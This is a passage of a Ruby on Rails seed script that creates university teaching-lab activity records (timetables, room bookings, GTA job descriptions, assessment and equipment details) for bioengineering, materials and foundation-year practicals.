tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a511.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a512 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE240\").first.id, code: \"323\").first_or_create!(name: \"making yogurt: part 2\",\n name_abrv: \"YOGHURT2\", archived: false, in_drive: false, user_id: 1)\n at512 = ActivityTimetable.where(activity_id: a512.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 60, notes: \"Part 2 to follow part 1 24h or 48h later. 1 hour required.\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at512.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a512.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a512.id).first_or_create!(criteria: \"Basic lab work. Knowledge of microbiology beneficial although not essential.\",\n job_desc:\"To investigate the use of microorganisms in the manufacture of common food products by making yogurt and paneer cheese.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a512.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a512.id).first_or_create!(cost_per_student: nil, equip_needed: \"Static incubator, cameras\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a512.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a513 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE280\").first.id, code: \"324\").first_or_create!(name: \"Mammalian cell culture\",\n name_abrv: \"MAMMALIAN\", archived: false, in_drive: false, user_id: 3)\n at513 = ActivityTimetable.where(activity_id: a513.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: nil, takedown_time: 120, notes: \"\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a513.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a513.id).first_or_create!(criteria: \"Experience culturing mammalian cells. Experience operating bioreactors desirable.\",\n job_desc:\"Counting & subculturing CHO cells, operating a mini bioreactor for CHO cell culture.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a513.id).first_or_create!(assess_weight: nil, notes: \"Data interpretation and short wriet-up\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a513.id).first_or_create!(cost_per_student: nil, equip_needed: \"Class II BSC, microscopes, Vi-Cell, Applikon Mini bioreactors, micropipettes, auto pipettes\",\n last_risk_assess: nil, next_risk_assess: Date.new(20, 2, 7), tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a513.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a514 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1520\").first.id, code: \"325\").first_or_create!(name: \"Microscopy\",\n name_abrv: \"MICROSCOPY\", archived: false, in_drive: false, user_id: 3)\n at514 = ActivityTimetable.where(activity_id: a514.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 7, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 180, notes: \"Microscopy session to follow histology staining\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a514.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a514.id).first_or_create!(criteria: \"Operating light microscopes and imaging tissue sections\",\n job_desc:\"Using digital camera and Motic software to take images of stained tissue sections\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: 30, staff_ratio: nil)\n ActivityAssess.where(activity_id: a514.id).first_or_create!(assess_weight: nil, notes: \"Also includes hisology staining\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a514.id).first_or_create!(cost_per_student: nil, equip_needed: \"Microscopes, laptops, histology slides\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a514.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a515 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE103\").first.id, code: \"326\").first_or_create!(name: \"Physiological testing\",\n name_abrv: \"PHYTEST\", archived: false, in_drive: false, user_id: 4)\n at515 = ActivityTimetable.where(activity_id: a515.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 8, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"One of 3 experiments for this module\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a515.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a515.id).first_or_create!(criteria: \"Understanding of physiology and spreadsheets. Knowledge of signal transduction desirable.\",\n job_desc:\"Measuring grip strength, pulse rate and blood pressure\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 10, staff_ratio: nil)\n ActivityAssess.where(activity_id: a515.id).first_or_create!(assess_weight: nil, notes: \"Data presentation\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a515.id).first_or_create!(cost_per_student: nil, equip_needed: \"ADInstruments kits, laptops\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 10, 1), tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a515.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a516 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE291\").first.id, code: \"327\").first_or_create!(name: \"Physiological testing 1: ECG\",\n name_abrv: \"PHYTEST1\", archived: false, in_drive: false, user_id: 3)\n at516 = ActivityTimetable.where(activity_id: a516.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 7, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 20, setup_time: 45, takedown_time: 45, notes: \"ECG to be before investigating physiological signals\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a516.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a516.id).first_or_create!(criteria: \"Understanding of physiology and spreadsheets. Knowledge of signal transduction desirable.\",\n job_desc:\"ECG using ADInstruments PowerLab hardware and LabChart software.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 20, staff_ratio: nil)\n ActivityAssess.where(activity_id: a516.id).first_or_create!(assess_weight: nil, notes: \"Data presentation\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a516.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 10, 1), tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a516.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a517 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE291\").first.id, code: \"328\").first_or_create!(name: \"Physiological testing 2: Investigating physiological signals\",\n name_abrv: \"PHYTEST2\", archived: false, in_drive: false, user_id: 4)\n at517 = ActivityTimetable.where(activity_id: a517.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 8, pref_room_id: $room_vr.id,\n same_as_prev_year: true, series_setup_time: 10, setup_time: 30, takedown_time: 30, notes: \"Investigating physiological signals to follow ECG.\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a517.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a517.id).first_or_create!(criteria: \"Understanding of physiology and spreadsheets. Knowledge of signal transduction desirable.\",\n job_desc:\"Investigating physiological responses using virtual reality - using the ADInstruments PowerLab hardware and LabChart software.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 20, staff_ratio: nil)\n ActivityAssess.where(activity_id: a517.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a517.id).first_or_create!(cost_per_student: nil, equip_needed: \"ADInstruments kits, laptops, Oculus Rift headsets, VAR computers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a517.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a518 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"329\").first_or_create!(name: \"Pipetting and spectrophotometry\",\n name_abrv: \"PIP&SPEC\", archived: false, in_drive: false, user_id: 2)\n at518 = ActivityTimetable.where(activity_id: a518.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 3, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at518.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a518.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a518.id).first_or_create!(criteria: \"Competent user of micropipettes and motorised pipettors. Basic spectrophotometry. Understanding of Enzymes desirable.\",\n job_desc:\"Using micropipettes and motorized pipette aids. Investigating the effect of pH on enzyme activity of aryl sulphatase by measuring the absorbance of nitrocatechol.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a518.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a518.id).first_or_create!(cost_per_student: nil, equip_needed: \"Spectrophotometers, balances, motorised and micropipettes\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a518.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a519 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2410\").first.id, code: \"330\").first_or_create!(name: \"Polymers and hydrogels\",\n name_abrv: \"POLY&HYDROGELS\", archived: false, in_drive: false, user_id: 2)\n at519 = ActivityTimetable.where(activity_id: a519.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 180, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 25, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at519.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a519.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a519.id).first_or_create!(criteria: \"Understaning the propeties of polymers. Knowldge of their application in tissue engineering is desirable.\",\n job_desc:\"Investigating the properties of polymers, including hydrogels, and immobilizing yeast in alginate beads.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a519.id).first_or_create!(assess_weight: nil, notes: \"Post is short essay\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a519.id).first_or_create!(cost_per_student: nil, equip_needed: \"Balances, gas syringes, clamps and stands, water baths\",\n last_risk_assess: nil, next_risk_assess: Date.new(20, 2, 27), tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a519.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a520 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"331\").first_or_create!(name: \"Practical exam\",\n name_abrv: \"PRACEXAM\", archived: false, in_drive: false, user_id: 3)\n at520 = ActivityTimetable.where(activity_id: a520.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: 180, takedown_time: 60, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: 15, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at520.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a520.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a520.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a520.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a520.id).first_or_create!(cost_per_student: nil, equip_needed: \"Plate reader, static incubator, pipettes\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a520.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a521 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1410\").first.id, code: \"332\").first_or_create!(name: \"Protein detection\",\n name_abrv: \"PROTEIN\", archived: false, in_drive: false, user_id: 2)\n at521 = ActivityTimetable.where(activity_id: a521.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 75, setup_time: 150, takedown_time: 60, notes: \"protein dection must be after pipetting.\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at521.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a521.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a521.id).first_or_create!(criteria: \"Competent user of micropipettes. Understanding of basic spectrophotometry, serial dilution and replicates.\",\n job_desc:\"Using the BCA assay to quantify protein in 5 biological samples.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 10, staff_ratio: nil)\n ActivityAssess.where(activity_id: a521.id).first_or_create!(assess_weight: nil, notes: \"Data interpretation, graph and calculations.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a521.id).first_or_create!(cost_per_student: nil, equip_needed: \"Micropipettes, plate reader/s, computer\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 7, 19), tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a521.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a522 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"333\").first_or_create!(name: \"SEM and FTIR\",\n name_abrv: \"SEM/FTIR\", archived: false, in_drive: false, user_id: 1)\n at522 = ActivityTimetable.where(activity_id: a522.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 6, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a522.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a522.id).first_or_create!(criteria: \"Knowledge of characterising biomaterials and experience using SEM and FTIR desirable, but training can be provided.\",\n job_desc:\"Analysing the surface of biomaterials using SEM and characterising the chemical composition of the materials using FTIR spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a522.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes live cell imaging.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a522.id).first_or_create!(cost_per_student: nil, equip_needed: \"SEM, FTIR, sample materials\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a522.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a523 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6311\").first.id, code: \"333\").first_or_create!(name: \"SEM and FTIR\",\n name_abrv: \"SEM/FTIR\", archived: true, in_drive: false, user_id: 4)\n at523 = ActivityTimetable.where(activity_id: a523.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a523.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a523.id).first_or_create!(criteria: \"Knowledge of characterising biomaterials and experience using SEM and FTIR desirable, but training can be provided.\",\n job_desc:\"Analysing the surface of biomaterials using SEM and characterising the chemical composition of the materials using FTIR spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a523.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes live cell imaging.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a523.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a523.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a524 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2410\").first.id, code: \"334\").first_or_create!(name: \"Superhydrophobic surfaces\",\n name_abrv: \"SUPERSURF\", archived: false, in_drive: false, user_id: 2)\n at524 = ActivityTimetable.where(activity_id: a524.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 25, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at524.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a524.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a524.id).first_or_create!(criteria: \"Knowledge of the hydrophilic and hydrophobic nature of materials and how this property is applied in tissue engineering/medical implants & devices.\",\n job_desc:\"Making a superhydrophobic surface and investigating hydrophilicity and hydrophobicity of materials (water contact angle)\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a524.id).first_or_create!(assess_weight: nil, notes: \"Post is short essay\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a524.id).first_or_create!(cost_per_student: nil, equip_needed: \"LEV, micropipetees, contact angle measurers, digital cameras\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 10, 2), tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a524.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a525 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE103\").first.id, code: \"335\").first_or_create!(name: \"Tensile testing of nylon\",\n name_abrv: \"NYLONTEST\", archived: false, in_drive: false, user_id: 4)\n at525 = ActivityTimetable.where(activity_id: a525.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 180, takedown_time: 120, notes: \"This is one of 3 experiments for this module.\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a525.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a525.id).first_or_create!(criteria: \"Experience of tensile testing and use of Shimadzu testing frames is desirable.\",\n job_desc:\"Tensile testing of nylon and polypropylene using Shimadzu testing frames and FTIR spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a525.id).first_or_create!(assess_weight: nil, notes: \"Assessed during lab session\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a525.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a525.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a526 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE201\").first.id, code: \"336\").first_or_create!(name: \"Building a Bioreactor\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at526 = ActivityTimetable.where(activity_id: a526.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 11, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Mobile units of parts so can work in any lab with 80 capactity and flat space\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a526.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a526.id).first_or_create!(criteria: \"Electronics and coding, culture of algae, using bioreactors, carrying out biochemical assays.\",\n job_desc:\"In teams of 5, students will build a bioreactor for culturing the green micro-algae, Dunaliella salina, using a range of electronic components to control heating, stirring and pH. Dunaliella salina will be cultured in a range of salt solutions and the production of glycerol measured. This will take place over 6x 2 hour lab sessions.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a526.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a526.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a526.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a529 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE6413\").first.id, code: \"33\").first_or_create!(name: \"NAME NOT GIVEN\",\n name_abrv: \"\", archived: true, in_drive: false, user_id: 2)\n at529 = ActivityTimetable.where(activity_id: a529.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_vr.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a529.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a529.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a529.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a529.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a529.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a530 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE6410\").first.id, code: \"340\").first_or_create!(name: \"NAME NOT GIVEN\",\n name_abrv: \"\", archived: true, in_drive: false, user_id: 5)\n at530 = ActivityTimetable.where(activity_id: a530.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_vr.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a530.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a530.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a530.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a530.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a530.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a531 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode10\").first_or_create!(name: \"Simple Harmonic Motion\",\n name_abrv: \"SHM\", archived: false, in_drive: false, user_id: 5)\n at531 = ActivityTimetable.where(activity_id: a531.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at531.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a531.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a531.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a531.id).first_or_create!(assess_weight: 3.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a531.id).first_or_create!(cost_per_student: nil, equip_needed: \"U-tube boards, water, funnels, 1m rule, stop watch, vernier calipers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, 